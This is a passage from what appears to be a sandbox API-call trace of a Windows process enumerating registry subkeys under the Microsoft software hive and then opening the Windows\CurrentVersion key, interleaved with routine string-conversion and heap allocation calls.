(HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.239] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1c, lpName=0x429d18, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x1dc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.239] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1d, lpName=0x429d18, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.239] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1e, lpName=0x429d18, cchName=0x104 | out: lpName="Office") returned 0x0 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x1dc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.239] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.239] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1f, lpName=0x429d18, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0164.239] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.240] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x20, lpName=0x429d18, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x1dc240, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.240] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x21, lpName=0x429d18, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.240] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x22, lpName=0x429d18, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x1dc240, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.240] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.240] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x23, lpName=0x429d18, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.240] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x1dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.241] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x24, lpName=0x429d18, cchName=0x104 | out: lpName="Shared") returned 0x0 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x1dc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.241] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x25, lpName=0x429d18, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.241] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x26, lpName=0x429d18, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x1dc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.241] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x27, lpName=0x429d18, cchName=0x104 | out: lpName="Speech") returned 0x0 [0164.241] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x1dc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.242] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x28, lpName=0x429d18, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x1dc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.242] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x29, lpName=0x429d18, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x1dc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.242] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2a, lpName=0x429d18, cchName=0x104 | out: lpName="VBA") returned 0x0 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.242] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2b, lpName=0x429d18, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0164.242] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.243] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2c, lpName=0x429d18, cchName=0x104 | out: lpName="WAB") returned 0x0 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.243] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2d, lpName=0x429d18, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x1dc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.243] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2e, lpName=0x429d18, cchName=0x104 | out: lpName="wfs") returned 0x0 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0164.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.243] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.243] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2f, lpName=0x429d18, cchName=0x104 | out: lpName="Windows") returned 0x0 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.244] RegOpenKeyExW (in: hKey=0xf8, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f720 | out: phkResult=0x41f720*=0x110) returned 0x0 [0164.244] RegCloseKey (hKey=0xf8) returned 0x0 [0164.244] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x429d18, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 